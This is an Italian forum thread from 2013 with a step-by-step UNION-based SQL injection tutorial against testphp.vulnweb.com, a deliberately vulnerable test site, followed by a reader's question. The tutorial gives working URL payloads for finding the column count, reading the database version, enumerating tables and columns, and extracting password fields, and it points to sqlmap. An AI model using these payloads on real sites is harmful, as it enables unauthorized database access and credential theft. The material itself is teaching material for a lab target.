Guida [GUIDA] SQL Injection

Stato
Discussione chiusa ad ulteriori risposte.

xDrago_

Utente Electrum
28 Maggio 2013
267
46
57
177
Tutti i test legali, possibili e immaginabili sulle iniezioni le faremo su: http://testphp.vulnweb.com/index.php ovvero un sito nato appositamente per questo.
Dato che non sono un esperto vi elenco degli utili comandi che utilizzo per scoprire le tabelle e poi i loro records. Cominciamo!

Il modo più semplice per vedere se un sito ha delle falle è utilizzare l'apice " ' ", applichiamolo dopo il target dato dall'url php.
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1'
Se da un qualsiasi tipo di errore, vuol dire che il sito è attaccabile, adesso scopriamo quante colonne possiede il db utilizzando questo codice:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 2--
vi è il numero due poichè se c'è un db e non ci sono errori la prima colonna c'è per forza, di conseguenza testiamo con 3,4,5 etc..
Ho gia svolto io il lavoro per voi e vi dico che ci sono 11 colonne, per cui adesso controlliamo la versione di sql scrivendo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,@@version,3,4,5,6,7,8,9,10,11--
una volta trovato possiamo passare al controllo dei campi.
Per passare ai records, dobbiamo conoscere la struttura della tabella e dei suoi campi per cui scriviamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,table_name,3,4,5,6,7,8,9,10,11 FROM information_schema.tables--
adesso avrete una vasta lista, prendete il nome della tabelle che volete controllare e scrivete:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns where table_name="qui_metto_il_nome_della_tabella"--
siamo giunti al termine, leggiamo il campo che cercavamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,nome_del_campo_per_esempio:password,3,4,5,6,7,8,9,10,11 FROM nometabella--
Fatto ciò il sito vi restituirà automaticamente il dato cercato

Ci sono diversi altri metodi per eseguire le famose sql injection, io vi ho presentato il più semplice però chi vuole continuare a giochicchiarci provi sqlmap, farete tutto tramite shell, il divertimento è assicurato.
 
Ciao, io avrei una domanda. Non mi è chiaro perchè table_name, column_name ecc. vanno messe al posto del 2, ho provato a sostituirle ad altri numeri e giustamente non funziona, ma il perchè in questo caso vanno sostituiti con il 2 non mi è chiaro. Potresti spiegarmelo? Grazie in anticipo
 
Stato
Discussione chiusa ad ulteriori risposte.